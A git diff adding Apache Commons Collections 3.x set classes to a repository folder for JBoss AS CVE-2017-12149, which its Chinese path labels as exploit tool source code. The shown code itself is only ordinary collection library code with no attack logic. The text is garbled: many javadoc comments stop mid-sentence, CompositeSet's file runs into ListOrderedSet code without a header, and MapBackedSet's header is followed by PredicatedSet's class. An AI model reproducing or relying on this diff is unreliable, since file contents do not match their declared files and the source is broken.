+ * Constructor only used in deserialization, do not use otherwise.
+ * @since Commons Collections 3.1
+ */
+ protected AbstractSetDecorator() {
+ super();
+ }
+
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param set the set to decorate, must not be null
+ * @throws IllegalArgumentException if set is null
+ */
+ protected AbstractSetDecorator(Set set) {
+ super(set);
+ }
+
+ /**
+ * Gets the set being decorated.
+ *
+ * @return the decorated set
+ */
+ protected Set getSet() {
+ return (Set) getCollection();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/AbstractSortedSetDecorator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/AbstractSortedSetDecorator.java"
new file mode 100644
index 0000000..2e30458
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/AbstractSortedSetDecorator.java"
@@ -0,0 +1,86 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.set;
+
+import java.util.Comparator;
+import java.util.Set;
+import java.util.SortedSet;
+
+/**
+ * Decorates another
+ * Methods are forwarded directly to the decorated set.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.4 $ $Date: 2004/06/02 21:53:03 $
+ *
+ * @author Stephen Colebourne
+ */
+public abstract class AbstractSortedSetDecorator extends AbstractSetDecorator implements SortedSet {
+
+ /**
+ * Constructor only used in deserialization, do not use otherwise.
+ * @since Commons Collections 3.1
+ */
+ protected AbstractSortedSetDecorator() {
+ super();
+ }
+
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param set the set to decorate, must not be null
+ * @throws IllegalArgumentException if set is null
+ */
+ protected AbstractSortedSetDecorator(Set set) {
+ super(set);
+ }
+
+ /**
+ * Gets the sorted set being decorated.
+ *
+ * @return the decorated set
+ */
+ protected SortedSet getSortedSet() {
+ return (SortedSet) getCollection();
+ }
+
+ //-----------------------------------------------------------------------
+ public SortedSet subSet(Object fromElement, Object toElement) {
+ return getSortedSet().subSet(fromElement, toElement);
+ }
+
+ public SortedSet headSet(Object toElement) {
+ return getSortedSet().headSet(toElement);
+ }
+
+ public SortedSet tailSet(Object fromElement) {
+ return getSortedSet().tailSet(fromElement);
+ }
+
+ public Object first() {
+ return getSortedSet().first();
+ }
+
+ public Object last() {
+ return getSortedSet().last();
+ }
+
+ public Comparator comparator() {
+ return getSortedSet().comparator();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/CompositeSet.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/CompositeSet.java"
new file mode 100644
index 0000000..60d190a
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/CompositeSet.java"
@@ -0,0 +1,197 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.set;
+
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Set;
+
+import org.apache.commons.collections.CollectionUtils;
+import org.apache.commons.collections.collection.CompositeCollection;
+
+/**
+ * Decorates a set of other sets to provide a single unified view.
+ *
+ * Changes made to this set will actually be made on the decorated set.
+ * Add and remove operations require the use of a pluggable strategy. If no
+ * strategy is provided then add and remove are unsupported.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.3 $ $Date: 2004/02/18 01:14:27 $
+ *
+ * @author Brian McCallister
+ */
+public class CompositeSet extends CompositeCollection implements Set {
+ /**
+ * Create an empty CompositeSet
+ */
+ public CompositeSet() {
+ super();
+ }
+
+ /**
+ * Create a CompositeSet with just
+ */
+ public void setMutator(CollectionMutator mutator) {
+ super.setMutator(mutator);
+ }
+
+ /* Set operations */
+
+ /**
+ * If a
+ * Defining remove() on implementations of SetMutator is pointless
+ * as they are never called by CompositeSet.
+ */
+ public static interface SetMutator extends CompositeCollection.CollectionMutator {
+ /**
+ *
+ * Called when a Set is added to the CompositeSet and there is a
+ * collision between existing and added sets.
+ *
+ * If
+ * If an object is added to the set for a second time, it will remain in the
+ * original position in the iteration.
+ * The order can be observed from the set via the iterator or toArray methods.
+ *
+ * The ListOrderedSet also has various useful direct methods. These include many
+ * from
+ * This class cannot implement the
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.9 $ $Date: 2004/06/07 21:42:12 $
+ *
+ * @author Stephen Colebourne
+ * @author Henning P. Schmiedehausen
+ */
+public class ListOrderedSet extends AbstractSerializableSetDecorator implements Set {
+
+ /** Serialization version */
+ private static final long serialVersionUID = -228664372470420141L;
+
+ /** Internal list to hold the sequence of objects */
+ protected final List setOrder;
+
+ /**
+ * Factory method to create an ordered set specifying the list and set to use.
+ *
+ * @param set the set to decorate, must be empty and not null
+ * @param list the list to decorate, must be empty and not null
+ * @throws IllegalArgumentException if set or list is null
+ * @throws IllegalArgumentException if either the set or list is not empty
+ * @since Commons Collections 3.1
+ */
+ public static ListOrderedSet decorate(Set set, List list) {
+ if (set == null) {
+ throw new IllegalArgumentException("Set must not be null");
+ }
+ if (list == null) {
+ throw new IllegalArgumentException("List must not be null");
+ }
+ if (set.size() > 0 || list.size() > 0) {
+ throw new IllegalArgumentException("Set and List must be empty");
+ }
+ return new ListOrderedSet(set, list);
+ }
+
+ /**
+ * Factory method to create an ordered set.
+ *
+ * An
+ * A
+ * The set and list must both be correctly initialised to the same elements.
+ *
+ * @param set the set to decorate, must not be null
+ * @param list the list to decorate, must not be null
+ * @throws IllegalArgumentException if set or list is null
+ */
+ protected ListOrderedSet(Set set, List list) {
+ super(set);
+ if (list == null) {
+ throw new IllegalArgumentException("List must not be null");
+ }
+ setOrder = list;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets an unmodifiable view of the order of the Set.
+ *
+ * @return an unmodifiable list view
+ */
+ public List asList() {
+ return UnmodifiableList.decorate(setOrder);
+ }
+
+ //-----------------------------------------------------------------------
+ public void clear() {
+ collection.clear();
+ setOrder.clear();
+ }
+
+ public Iterator iterator() {
+ return new OrderedSetIterator(setOrder.iterator(), collection);
+ }
+
+ public boolean add(Object object) {
+ if (collection.contains(object)) {
+ // re-adding doesn't change order
+ return collection.add(object);
+ } else {
+ // first add, so add to both set and list
+ boolean result = collection.add(object);
+ setOrder.add(object);
+ return result;
+ }
+ }
+
+ public boolean addAll(Collection coll) {
+ boolean result = false;
+ for (Iterator it = coll.iterator(); it.hasNext();) {
+ Object object = it.next();
+ result = result | add(object);
+ }
+ return result;
+ }
+
+ public boolean remove(Object object) {
+ boolean result = collection.remove(object);
+ setOrder.remove(object);
+ return result;
+ }
+
+ public boolean removeAll(Collection coll) {
+ boolean result = false;
+ for (Iterator it = coll.iterator(); it.hasNext();) {
+ Object object = it.next();
+ result = result | remove(object);
+ }
+ return result;
+ }
+
+ public boolean retainAll(Collection coll) {
+ boolean result = collection.retainAll(coll);
+ if (result == false) {
+ return false;
+ } else if (collection.size() == 0) {
+ setOrder.clear();
+ } else {
+ for (Iterator it = setOrder.iterator(); it.hasNext();) {
+ Object object = it.next();
+ if (collection.contains(object) == false) {
+ it.remove();
+ }
+ }
+ }
+ return result;
+ }
+
+ public Object[] toArray() {
+ return setOrder.toArray();
+ }
+
+ public Object[] toArray(Object a[]) {
+ return setOrder.toArray(a);
+ }
+
+ //-----------------------------------------------------------------------
+ public Object get(int index) {
+ return setOrder.get(index);
+ }
+
+ public int indexOf(Object object) {
+ return setOrder.indexOf(object);
+ }
+
+ public void add(int index, Object object) {
+ if (contains(object) == false) {
+ collection.add(object);
+ setOrder.add(index, object);
+ }
+ }
+
+ public boolean addAll(int index, Collection coll) {
+ boolean changed = false;
+ for (Iterator it = coll.iterator(); it.hasNext();) {
+ Object object = it.next();
+ if (contains(object) == false) {
+ collection.add(object);
+ setOrder.add(index, object);
+ index++;
+ changed = true;
+ }
+ }
+ return changed;
+ }
+
+ public Object remove(int index) {
+ Object obj = setOrder.remove(index);
+ remove(obj);
+ return obj;
+ }
+
+ /**
+ * Uses the underlying List's toString so that order is achieved.
+ * This means that the decorated Set's toString is not used, so
+ * any custom toStrings will be ignored.
+ */
+ // Fortunately List.toString and Set.toString look the same
+ public String toString() {
+ return setOrder.toString();
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Internal iterator handle remove.
+ */
+ static class OrderedSetIterator extends AbstractIteratorDecorator {
+
+ /** Object we iterate on */
+ protected final Collection set;
+ /** Last object retrieved */
+ protected Object last;
+
+ private OrderedSetIterator(Iterator iterator, Collection set) {
+ super(iterator);
+ this.set = set;
+ }
+
+ public Object next() {
+ last = iterator.next();
+ return last;
+ }
+
+ public void remove() {
+ set.remove(last);
+ iterator.remove();
+ last = null;
+ }
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/MapBackedSet.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/MapBackedSet.java"
new file mode 100644
index 0000000..ce751dc
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/MapBackedSet.java"
@@ -0,0 +1,157 @@
+/*
+ * Copyright 2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.set;
+
+import java.io.Serializable;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * Decorates a
+ * This class is used to create a
+ * Most map implementation can be used to create a set by passing in dummy values.
+ * Exceptions include
+ * This set exists to provide validation for the decorated set.
+ * It is normally created to decorate an empty set.
+ * If an object cannot be added to the set, an IllegalArgumentException is thrown.
+ *
+ * One usage would be to ensure that no null entries are added to the set.
+ *
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.6 $ $Date: 2004/06/03 22:02:13 $
+ *
+ * @author Stephen Colebourne
+ * @author Paul Jack
+ */
+public class PredicatedSet extends PredicatedCollection implements Set {
+
+ /** Serialization version */
+ private static final long serialVersionUID = -684521469108685117L;
+
+ /**
+ * Factory method to create a predicated (validating) set.
+ *
+ * If there are any elements already in the set being decorated, they
+ * are validated.
+ *
+ * @param set the set to decorate, must not be null
+ * @param predicate the predicate to use for validation, must not be null
+ * @throws IllegalArgumentException if set or predicate is null
+ * @throws IllegalArgumentException if the set contains invalid elements
+ */
+ public static Set decorate(Set set, Predicate predicate) {
+ return new PredicatedSet(set, predicate);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * If there are any elements already in the set being decorated, they
+ * are validated.
+ *
+ * @param set the set to decorate, must not be null
+ * @param predicate the predicate to use for validation, must not be null
+ * @throws IllegalArgumentException if set or predicate is null
+ * @throws IllegalArgumentException if the set contains invalid elements
+ */
+ protected PredicatedSet(Set set, Predicate predicate) {
+ super(set, predicate);
+ }
+
+ /**
+ * Gets the set being decorated.
+ *
+ * @return the decorated set
+ */
+ protected Set getSet() {
+ return (Set) getCollection();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/PredicatedSortedSet.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/PredicatedSortedSet.java"
new file mode 100644
index 0000000..35bbaf6
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/PredicatedSortedSet.java"
@@ -0,0 +1,115 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.set;
+
+import java.util.Comparator;
+import java.util.SortedSet;
+
+import org.apache.commons.collections.Predicate;
+
+/**
+ * Decorates another
+ * This set exists to provide validation for the decorated set.
+ * It is normally created to decorate an empty set.
+ * If an object cannot be added to the set, an IllegalArgumentException is thrown.
+ *
+ * One usage would be to ensure that no null entries are added to the set.
+ *
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.6 $ $Date: 2004/06/03 22:02:13 $
+ *
+ * @author Stephen Colebourne
+ * @author Paul Jack
+ */
+public class PredicatedSortedSet extends PredicatedSet implements SortedSet {
+
+ /** Serialization version */
+ private static final long serialVersionUID = -9110948148132275052L;
+
+ /**
+ * Factory method to create a predicated (validating) sorted set.
+ *
+ * If there are any elements already in the set being decorated, they
+ * are validated.
+ *
+ * @param set the set to decorate, must not be null
+ * @param predicate the predicate to use for validation, must not be null
+ * @throws IllegalArgumentException if set or predicate is null
+ * @throws IllegalArgumentException if the set contains invalid elements
+ */
+ public static SortedSet decorate(SortedSet set, Predicate predicate) {
+ return new PredicatedSortedSet(set, predicate);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * If there are any elements already in the set being decorated, they
+ * are validated.
+ *
+ * @param set the set to decorate, must not be null
+ * @param predicate the predicate to use for validation, must not be null
+ * @throws IllegalArgumentException if set or predicate is null
+ * @throws IllegalArgumentException if the set contains invalid elements
+ */
+ protected PredicatedSortedSet(SortedSet set, Predicate predicate) {
+ super(set, predicate);
+ }
+
+ /**
+ * Gets the sorted set being decorated.
+ *
+ * @return the decorated sorted set
+ */
+ private SortedSet getSortedSet() {
+ return (SortedSet) getCollection();
+ }
+
+ //-----------------------------------------------------------------------
+ public SortedSet subSet(Object fromElement, Object toElement) {
+ SortedSet sub = getSortedSet().subSet(fromElement, toElement);
+ return new PredicatedSortedSet(sub, predicate);
+ }
+
+ public SortedSet headSet(Object toElement) {
+ SortedSet sub = getSortedSet().headSet(toElement);
+ return new PredicatedSortedSet(sub, predicate);
+ }
+
+ public SortedSet tailSet(Object fromElement) {
+ SortedSet sub = getSortedSet().tailSet(fromElement);
+ return new PredicatedSortedSet(sub, predicate);
+ }
+
+ public Object first() {
+ return getSortedSet().first();
+ }
+
+ public Object last() {
+ return getSortedSet().last();
+ }
+
+ public Comparator comparator() {
+ return getSortedSet().comparator();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/SynchronizedSet.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/SynchronizedSet.java"
new file mode 100644
index 0000000..c4ee3d1
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/SynchronizedSet.java"
@@ -0,0 +1,81 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.set;
+
+import java.util.Set;
+
+import org.apache.commons.collections.collection.SynchronizedCollection;
+
+/**
+ * Decorates another
+ * Methods are synchronized, then forwarded to the decorated set.
+ *
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.5 $ $Date: 2004/06/03 22:02:13 $
+ *
+ * @author Stephen Colebourne
+ */
+public class SynchronizedSet extends SynchronizedCollection implements Set {
+
+ /** Serialization version */
+ private static final long serialVersionUID = -8304417378626543635L;
+
+ /**
+ * Factory method to create a synchronized set.
+ *
+ * @param set the set to decorate, must not be null
+ * @throws IllegalArgumentException if set is null
+ */
+ public static Set decorate(Set set) {
+ return new SynchronizedSet(set);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param set the set to decorate, must not be null
+ * @throws IllegalArgumentException if set is null
+ */
+ protected SynchronizedSet(Set set) {
+ super(set);
+ }
+
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param set the set to decorate, must not be null
+ * @param lock the lock object to use, must not be null
+ * @throws IllegalArgumentException if set is null
+ */
+ protected SynchronizedSet(Set set, Object lock) {
+ super(set, lock);
+ }
+
+ /**
+ * Gets the decorated set.
+ *
+ * @return the decorated set
+ */
+ protected Set getSet() {
+ return (Set) collection;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/SynchronizedSortedSet.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/SynchronizedSortedSet.java"
new file mode 100644
index 0000000..b9e257e
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/SynchronizedSortedSet.java"
@@ -0,0 +1,128 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.set;
+
+import java.util.Comparator;
+import java.util.SortedSet;
+
+import org.apache.commons.collections.collection.SynchronizedCollection;
+
+/**
+ * Decorates another
+ * Methods are synchronized, then forwarded to the decorated set.
+ *
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.5 $ $Date: 2004/06/03 22:02:13 $
+ *
+ * @author Stephen Colebourne
+ */
+public class SynchronizedSortedSet extends SynchronizedCollection implements SortedSet {
+
+ /** Serialization version */
+ private static final long serialVersionUID = 2775582861954500111L;
+
+ /**
+ * Factory method to create a synchronized set.
+ *
+ * @param set the set to decorate, must not be null
+ * @throws IllegalArgumentException if set is null
+ */
+ public static SortedSet decorate(SortedSet set) {
+ return new SynchronizedSortedSet(set);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param set the set to decorate, must not be null
+ * @throws IllegalArgumentException if set is null
+ */
+ protected SynchronizedSortedSet(SortedSet set) {
+ super(set);
+ }
+
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param set the set to decorate, must not be null
+ * @param lock the lock object to use, must not be null
+ * @throws IllegalArgumentException if set is null
+ */
+ protected SynchronizedSortedSet(SortedSet set, Object lock) {
+ super(set, lock);
+ }
+
+ /**
+ * Gets the decorated set.
+ *
+ * @return the decorated set
+ */
+ protected SortedSet getSortedSet() {
+ return (SortedSet) collection;
+ }
+
+ //-----------------------------------------------------------------------
+ public SortedSet subSet(Object fromElement, Object toElement) {
+ synchronized (lock) {
+ SortedSet set = getSortedSet().subSet(fromElement, toElement);
+ // the lock is passed into the constructor here to ensure that the
+ // subset is synchronized on the same lock as the parent
+ return new SynchronizedSortedSet(set, lock);
+ }
+ }
+
+ public SortedSet headSet(Object toElement) {
+ synchronized (lock) {
+ SortedSet set = getSortedSet().headSet(toElement);
+ // the lock is passed into the constructor here to ensure that the
+ // headset is synchronized on the same lock as the parent
+ return new SynchronizedSortedSet(set, lock);
+ }
+ }
+
+ public SortedSet tailSet(Object fromElement) {
+ synchronized (lock) {
+ SortedSet set = getSortedSet().tailSet(fromElement);
+ // the lock is passed into the constructor here to ensure that the
+ // tailset is synchronized on the same lock as the parent
+ return new SynchronizedSortedSet(set, lock);
+ }
+ }
+
+ public Object first() {
+ synchronized (lock) {
+ return getSortedSet().first();
+ }
+ }
+
+ public Object last() {
+ synchronized (lock) {
+ return getSortedSet().last();
+ }
+ }
+
+ public Comparator comparator() {
+ synchronized (lock) {
+ return getSortedSet().comparator();
+ }
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/TransformedSet.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/TransformedSet.java"
new file mode 100644
index 0000000..bfdb29e
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/TransformedSet.java"
@@ -0,0 +1,72 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.set;
+
+import java.util.Set;
+
+import org.apache.commons.collections.Transformer;
+import org.apache.commons.collections.collection.TransformedCollection;
+
+/**
+ * Decorates another
+ * The add methods are affected by this class.
+ * Thus objects must be removed or searched for using their transformed form.
+ * For example, if the transformation converts Strings to Integers, you must
+ * use the Integer form to remove objects.
+ *
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.5 $ $Date: 2004/06/03 22:02:13 $
+ *
+ * @author Stephen Colebourne
+ */
+public class TransformedSet extends TransformedCollection implements Set {
+
+ /** Serialization version */
+ private static final long serialVersionUID = 306127383500410386L;
+
+ /**
+ * Factory method to create a transforming set.
+ *
+ * If there are any elements already in the set being decorated, they
+ * are NOT transformed.
+ *
+ * @param set the set to decorate, must not be null
+ * @param transformer the transformer to use for conversion, must not be null
+ * @throws IllegalArgumentException if set or transformer is null
+ */
+ public static Set decorate(Set set, Transformer transformer) {
+ return new TransformedSet(set, transformer);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * If there are any elements already in the set being decorated, they
+ * are NOT transformed.
+ *
+ * @param set the set to decorate, must not be null
+ * @param transformer the transformer to use for conversion, must not be null
+ * @throws IllegalArgumentException if set or transformer is null
+ */
+ protected TransformedSet(Set set, Transformer transformer) {
+ super(set, transformer);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/TransformedSortedSet.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/TransformedSortedSet.java"
new file mode 100644
index 0000000..fff83c7
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/TransformedSortedSet.java"
@@ -0,0 +1,110 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.set;
+
+import java.util.Comparator;
+import java.util.SortedSet;
+
+import org.apache.commons.collections.Transformer;
+
+/**
+ * Decorates another
+ * The add methods are affected by this class.
+ * Thus objects must be removed or searched for using their transformed form.
+ * For example, if the transformation converts Strings to Integers, you must
+ * use the Integer form to remove objects.
+ *
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.5 $ $Date: 2004/06/03 22:02:13 $
+ *
+ * @author Stephen Colebourne
+ */
+public class TransformedSortedSet extends TransformedSet implements SortedSet {
+
+ /** Serialization version */
+ private static final long serialVersionUID = -1675486811351124386L;
+
+ /**
+ * Factory method to create a transforming sorted set.
+ *
+ * If there are any elements already in the set being decorated, they
+ * are NOT transformed.
+ *
+ * @param set the set to decorate, must not be null
+ * @param transformer the transformer to use for conversion, must not be null
+ * @throws IllegalArgumentException if set or transformer is null
+ */
+ public static SortedSet decorate(SortedSet set, Transformer transformer) {
+ return new TransformedSortedSet(set, transformer);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * If there are any elements already in the set being decorated, they
+ * are NOT transformed.
+ *
+ * @param set the set to decorate, must not be null
+ * @param transformer the transformer to use for conversion, must not be null
+ * @throws IllegalArgumentException if set or transformer is null
+ */
+ protected TransformedSortedSet(SortedSet set, Transformer transformer) {
+ super(set, transformer);
+ }
+
+ /**
+ * Gets the decorated set.
+ *
+ * @return the decorated set
+ */
+ protected SortedSet getSortedSet() {
+ return (SortedSet) collection;
+ }
+
+ //-----------------------------------------------------------------------
+ public Object first() {
+ return getSortedSet().first();
+ }
+
+ public Object last() {
+ return getSortedSet().last();
+ }
+
+ public Comparator comparator() {
+ return getSortedSet().comparator();
+ }
+
+ //-----------------------------------------------------------------------
+ public SortedSet subSet(Object fromElement, Object toElement) {
+ SortedSet set = getSortedSet().subSet(fromElement, toElement);
+ return new TransformedSortedSet(set, transformer);
+ }
+
+ public SortedSet headSet(Object toElement) {
+ SortedSet set = getSortedSet().headSet(toElement);
+ return new TransformedSortedSet(set, transformer);
+ }
+
+ public SortedSet tailSet(Object fromElement) {
+ SortedSet set = getSortedSet().tailSet(fromElement);
+ return new TransformedSortedSet(set, transformer);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/TypedSet.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/TypedSet.java"
new file mode 100644
index 0000000..7d1cf40
--- /dev/null
